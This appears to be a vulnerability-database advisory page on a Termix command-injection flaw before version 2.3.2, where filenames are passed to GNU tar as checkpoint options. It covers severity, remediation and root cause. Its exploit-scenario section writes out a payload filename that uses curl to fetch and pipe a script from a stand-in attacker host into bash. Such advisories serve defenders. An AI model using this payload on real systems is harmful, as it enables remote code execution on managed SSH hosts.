Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Termix as low-privileged user
-
DeliveryNavigate to SSH file-manager session
-
ExploitCreate files with tar checkpoint option names
-
InstallSelect crafted files for archive creation
-
C2Backend passes basenames to tar without -- separator
-
ExecuteTar interprets names as checkpoint directives
-
ImpactArbitrary command executes on managed SSH host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid authenticated Termix user account with access to the SSH file-manager session feature - this is the product's core functionality and not a non-default configuration. The attacker must be able to create or upload files whose basenames begin with GNU tar option strings (specifically --checkpoint=N and --checkpoint-action=exec=<cmd>), then select those files when initiating archive creation. The vulnerability is triggered at archive creation time (tar, tar.gz, tar.bz2, or tar.xz); the managed SSH account's privilege level (e.g., root vs. limited user) determines the scope of impact on the host. Exploitation is strictly limited to users who already hold authenticated Termix access with file-manager permissions; unauthenticated access or Termix accounts lacking file-manager access cannot reach the vulnerable endpoint. No special network position, non-default configuration, or additional software is required beyond a working Termix deployment prior to version 2.3.2. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H accurately characterizes this vulnerability: it is network-reachable, requires no elevated complexity, demands only a low-privileged authenticated session, and yields full confidentiality, integrity, and availability impact on the managed SSH host. No EPSS score was provided in the input data, so probabilistic exploitation likelihood cannot be quantified from available signals. The CVE is not in CISA KEV, meaning active exploitation is not confirmed; however, the underlying GNU tar checkpoint injection technique is publicly documented and requires no specialized tooling beyond standard Termix access. The gap between CVSS severity and KEV absence is consistent with a newly disclosed vulnerability in a niche product rather than a low-real-risk finding - any Termix operator running a version prior to 2.3.2 faces meaningful risk because the attack requires only a valid authenticated session with file-manager access, which is the product's core intended use case. Scope is unchanged (S:U), meaning impact is contained to the SSH host under management, which partially limits blast radius compared to a full scope-change flaw. |
| Exploit ScenarioDerived | An authenticated Termix user with file-manager access creates two files on the managed SSH host via the file-manager interface, naming them --checkpoint=1 and --checkpoint-action=exec=curl${IFS}attacker.example/s.sh|bash. The user then selects these files and triggers archive creation (e.g., tar.gz). Termix's backend passes the basenames to GNU tar without a -- separator; tar interprets them as checkpoint directives and executes the embedded shell command on the SSH host with the privileges of the connected SSH account. No public exploit code has been identified at time of analysis, but the technique requires only standard Termix functionality and is straightforward to execute for any authenticated user. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 19, 2026
Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-manager access to execute arbitrary commands on a managed SSH host prior to version 2.3.2. The archive creation endpoint in src/backend/ssh/file-manager.ts passes user-supplied file basenames directly to GNU tar without an end-of-options delimiter, enabling an attacker to supply filenames matching tar checkpoint options (e.g., --checkpoint=1, --checkpoint-action=exec=<cmd>) that tar interprets as directives rather than operands. No public exploit code has been identified at time of analysis and the CVE is not listed in CISA KEV, but the exploitation technique is well-documented and the CVSS score of 8.8 reflects genuine high-priority risk for all pre-2.3.2 deployments.
RemediationAI
Upgrade Termix to version 2.3.2 or later, the vendor-confirmed fixed release available at https://github.com/Termix-SSH/Termix/releases/tag/release-2.3.2-tag and documented in security advisory GHSA-rwj6-6vh7-45pv at https://github.com/Termix-SSH/Termix/security/advisories/GHSA-rwj6-6vh7-45pv. If immediate upgrade is not feasible, restrict SSH file-manager session access to fully trusted, vetted users only, since exploitation requires an active authenticated file-manager session - note this is an access-control mitigation, not a technical fix, and any authorized user retains the ability to exploit the flaw. As a secondary interim measure, operators may consider disabling or blocking the archive creation endpoint at the network or application layer if archival functionality is non-essential; this would prevent the vulnerable code path from being reached entirely but would disrupt legitimate archiving workflows. No workaround eliminates the vulnerability without upgrading.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Termix is a web-based server management platform (CPE: cpe:2.3:a:termix-ssh:termix:*:*:*:*:*:*:*:*) providing SSH terminal access, tunneling, and file-editing capabilities via a browser interface. The vulnerable code path is in src/backend/ssh/file-manager.ts, which handles archive creation requests (tar, tar.gz, tar.bz2, tar.xz) by constructing a tar command using user-selected file basenames. GNU tar treats any argument not preceded by the -- end-of-options sentinel as a potential option string; the checkpoint mechanism specifically allows --checkpoint=N (trigger an action every N records) combined with --checkpoint-action=exec=<cmd> to execute arbitrary shell commands during archive processing. CWE-78 (Improper Neutralization of Special Elements used in an OS Command) is the root cause: user-controlled input is incorporated into an OS command without sanitization, escaping, or positional isolation. The fix in version 2.3.2 (PR #874, commit 52f4e51) addresses this by ensuring operands are unambiguously relative and separated from options.
Know when Termix gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Network-accessible web UI (AV:N), low complexity (AC:L), authenticated file-manager session required (PR:L), no additional user interaction needed, full C/I/A impact on managed SSH host within unchanged scope.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
2DescriptionCVE.org
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to 2.3.2, the archive creation endpoint in src/backend/ssh/file-manager.ts passes selected file basenames to tar without an end-of-options marker and without making the operands unambiguously relative. A user with access to an SSH file-manager session can select basenames beginning with GNU tar options such as --checkpoint=1 and --checkpoint-action=exec, causing tar, tar.gz, tar.bz2, or tar.xz creation to interpret those names as options. The resulting checkpoint action executes commands on the managed SSH host with the privileges of the connected SSH account, allowing file disclosure, modification, and service disruption. This issue is fixed in version 2.3.2.
Executive ViewAI
Termix versions prior to 2.3.2 contain a remote command injection vulnerability in the file-manager archive creation feature that allows any authenticated user with file-manager permissions to execute arbitrary commands on managed SSH hosts. This directly threatens the integrity of SSH-managed infrastructure for organizations using this platform. Immediate risk assessment and access control restrictions are required to prevent exploitation.
Restrict file-manager access to minimal number of trusted administrators; implement application-level input validation to block filenames containing tar option flags (--checkpoint, --checkpoint-action, --exclude-backups); deploy network-based intrusion detection to monitor for anomalous command execution on managed SSH hosts; apply network segmentation to limit Termix platform communication to authorized SSH endpoints only.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Unauthenticated attackers can retrieve stored SSH host credentials - including addresses, usernames, and passwords - fro
Stored XSS in Termix File Manager (versions 1.7.0-1.9.0) allows attackers with SSH server access to execute arbitrary Ja
Remote command execution in Termix web-based server management platform (versions prior to 2.3.2) allows any authenticat
Remote code execution in Termix (self-hosted web-based server management platform) before version 2.1.0 lets an authenti
OS command injection in Termix (self-hosted web SSH/tunneling platform) before 2.3.2 lets an authenticated user who can
OS command injection in Termix web-based server management platform prior to version 2.3.2 allows remote unauthenticated
Cross-user SSH credential disclosure in Termix, a self-hosted web server-management platform, allows an authenticated lo
Broken authorization in Termix (self-hosted web-based SSH/server management platform) before 2.6.1 lets any authenticate
Command injection in Termix 2.4.1 through 2.5.0 lets an authenticated administrator execute arbitrary operating-system c
Cross-tenant remote code execution in Termix (web-based SSH/file management platform) prior to version 2.3.2 allows an a
Command injection in Termix server management platform before version 2.3.2 allows authenticated users to execute arbitr
Unauthorized data exposure in Termix prior to 2.3.2 allows a low-privileged authenticated user to exfiltrate password-re
EUVD-2026-62858
NVD
CVE.org
EPSS
GitHub
Exploit-DB